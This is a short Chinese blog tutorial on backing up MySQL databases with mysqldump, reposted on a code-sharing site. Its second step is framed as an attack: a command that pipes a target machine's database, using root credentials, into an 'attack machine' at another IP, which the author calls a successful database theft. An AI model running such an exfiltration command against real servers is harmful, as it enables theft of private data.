码迷,mamicode.com
首页 > 数据库 > 详细

如何进行数据库备份

时间:2020-05-30 14:15:05      阅读:155      评论:0      收藏:0      [点我收藏+]

标签:src   个数   image   nbsp   str   输入   lte   数据库导出   必须   

1.将数据库,表,导出到本机
在命令行中转到mysql的bin目录下
输入命令:mysqldump -u root -p sqltest > D:\data.txt
然后再输入密码

技术图片

 

然后就会成功导出到D:盘目录下

技术图片

 

2.导出到其他主机上(必须开启mysql外链,注意:攻击机和目标机都要开启mysql外链)
在目标机上输入导出数据库的命令
mysqldump --default-character-set=utf8mb4 --host=192.168.0.102 -uroot -proot --opt sqltest | mysql --host=192.168.61.129 -uroot -proot --default-character-set=utf8mb4 -C daochu
技术图片

 

Ps:解释一下,它是把目标机上(192.168.0.102)的‘sqltest‘数据库导出到攻击机(192.168.61.129)的‘daochu‘这个数据库中

结果:成功完成了‘脱裤‘

技术图片

 

 

3.将备份的数据导入到mysql数据库中

如果你需要将备份的数据库导入到MySQL服务器中,可以使用以下命令,使用以下命令你需要确认数据库已经创建:

mysql -u root -p database_name < dump.txt
password *****

如何进行数据库备份

标签:src   个数   image   nbsp   str   输入   lte   数据库导出   必须   

原文地址:https://www.cnblogs.com/zzjdbk/p/12992370.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!